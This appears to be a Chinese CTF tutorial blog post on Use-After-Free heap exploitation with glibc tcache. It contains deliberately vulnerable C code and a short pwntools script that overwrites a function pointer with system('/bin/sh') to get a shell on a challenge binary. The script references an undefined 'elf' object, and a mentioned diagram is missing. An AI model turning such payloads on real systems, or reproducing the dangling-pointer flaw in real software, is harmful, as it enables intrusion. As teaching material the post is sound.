在 CTF 的 Pwn 题目里,Use-After-Free(UAF) 几乎是最常见的入门漏洞之一。它的本质很朴素:free 掉一块内存之后,指针没有置空,程序继续通过这个「悬垂指针」去读写。而一旦我们能控制这块内存里重新分配的内容,就可以劫持控制流。
漏洞成因
先看一段典型的漏洞代码:
#include <stdio.h>
#include <stdlib.h>
struct note {
void (*print)(char *);
char *content;
};
int main() {
struct note *n = malloc(sizeof(struct note));
n->print = puts;
n->content = malloc(0x40);
free(n); /* 释放,但 n 未置空 —— UAF */
struct note *evil = malloc(sizeof(struct note));
/* evil 与 n 指向同一块内存 */
n->print(n->content); /* 通过悬垂指针调用函数指针 */
return 0;
}
这里的关键在于:free(n) 之后,指针 n 仍然指向已经归还给分配器的 chunk。随后 malloc(sizeof(struct note)) 再次分配到同一地址,攻击者就获得了对这块内存的双重控制权。
堆布局分析
理解 UAF 的关键,是搞清楚 glibc 的 tcache 是如何回收与复用 chunk 的。可以用下面这张图来理解:
几个需要记住的要点:
- 相同大小的 chunk 会进入同一条 tcache bin,遵循 LIFO(后进先出)顺序。
- tcache 中最多缓存
7个 chunk,超过后进入 fastbin。 glibc 2.26+引入了 tcache,让这类攻击变得「顺滑」许多。
绕过 tcache 的注意点
在高版本 glibc 里,直接劫持 __free_hook 或 __malloc_hook 已经不太可行,更常见的是通过 FSOP 或 exit 时的析构链来完成控制流劫持。
「所有堆利用的本质,都是在和分配器的元数据博弈。读懂 chunk 的 header,比背一百个 exp 模板更有用。」
利用步骤
完整利用可以拆成四步:
- 构造 UAF,使悬垂指针与可控 chunk 重叠。
- 通过重叠 chunk 改写目标函数指针。
- 触发调用,完成一次任意地址读 / 写。
- 最终 getshell,拿到 shell 权限。
关键的一次改写如下:
from pwn import *
context.arch = 'amd64'
p = process('./challenge')
# 1. 触发 UAF
p.sendlineafter(b'> ', b'1') # add
p.sendlineafter(b'> ', b'2') # delete -- 留下悬垂指针
# 2. 分配同尺寸 chunk 复用同一地址
system_addr = elf.symbols['system']
payload = p64(system_addr) + b'/bin/sh\x00'
p.sendlineafter(b'> ', b'3') # edit -- 覆写函数指针
p.sendline(payload)
# 3. 触发调用
p.sendlineafter(b'> ', b'4') # show -- 调用被改写的函数指针
p.interactive()
更详细的攻击流程与相关参考,可以查阅 how2heap 这个经典仓库,里面的 fastbin_dup 和 unsafe_unlink 是理解堆布局的绝佳素材。
小结
UAF 的利用链条可以总结成一句话:「释放了内存,却留下了指针。」 只要这扇门还开着,攻击者就能顺着指针重新进入那块内存。防御上,最朴素的建议永远是:free 之后立刻将指针置空。
下面是一张参数对照表:
| bin | 最大 chunk 数 | 适用场景 |
|---|---|---|
| tcache | 7 | 同线程快速复用 |
| fastbin | — | 小 chunk,LIFO |
| unsorted bin | — | 释放后暂存,FIFO |